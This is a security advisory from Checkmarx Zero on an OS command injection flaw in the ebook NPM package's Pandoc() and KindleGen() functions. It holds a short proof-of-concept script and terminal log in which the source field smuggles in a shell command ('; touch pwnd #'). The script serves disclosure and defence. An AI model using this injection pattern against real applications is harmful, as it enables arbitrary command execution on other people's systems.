---
title: "CX-2021-4807"
date: "2021-04-26T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4807/"
---

# CX-2021-4807

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

No CVE assigned  **Published:** Apr 26, 2021

9.8 Critical Severity javascript nodejs npm RCE

AS André Sá  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of the [ebook](https://www.npmjs.com/package/ebook) NPM  
package are vulnerable to OS Command Injection due to unsafe usage of  
`child_process.exec()` in `Pandoc()` and `KindleGen()`.

## Product

All versions of the ebook NPM package.

## Impact

It’s possible to inject malicious shell code through `Pandoc()` and  
`KindleGen()`.

## Steps to reproduce

```sh
root@3d3ee3a007b2:/poc# rm -f target/pwnd
root@3d3ee3a007b2:/poc# cat target/test.md
# hello

you've been pwnd
root@3d3ee3a007b2:/poc# cat poc.js
require('ebook')({
    source: 'test.md > /dev/null; touch pwnd #',
    folder: 'target'
});
root@3d3ee3a007b2:/poc# node poc.js
node:events:353
      throw er; // Unhandled 'error' event
      ^

Error: ENOENT: no such file or directory, open 'test.md > /dev/null; touch pwnd #'
Emitted 'error' event on ReadStream instance at:
    at emitErrorNT (node:internal/streams/destroy:188:8)
    at emitErrorCloseNT (node:internal/streams/destroy:153:3)
    at processTicksAndRejections (node:internal/process/task_queues:80:21) {
  errno: -2,
  code: 'ENOENT',
  syscall: 'open',
  path: 'test.md > /dev/null; touch pwnd #'
}
root@3d3ee3a007b2:/poc# ls -1 target/
pwnd
test.md
root@3d3ee3a007b2:/poc#
```

## Remediation

There are currently no fixed versions released. As a workaround, avoid passing  
untrusted input into the vulnerable parameters when using the library.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher  
[André Sá](https://www.linkedin.com/in/andre-m-sa).

## Resources

1. [`Pandoc()`](https://github.com/sethvincent/ebook/blob/950eb132ed4c98bd2c4a8aa5551b9a43d6622785/pandoc.js#L11)
2. [`KindleGen()`](https://github.com/sethvincent/ebook/blob/950eb132ed4c98bd2c4a8aa5551b9a43d6622785/kindlegen.js#L14)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Jan 25, 2021 Vulnerability found
2. Disclosed Jan 25, 2021 Notified the project's maintainers

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)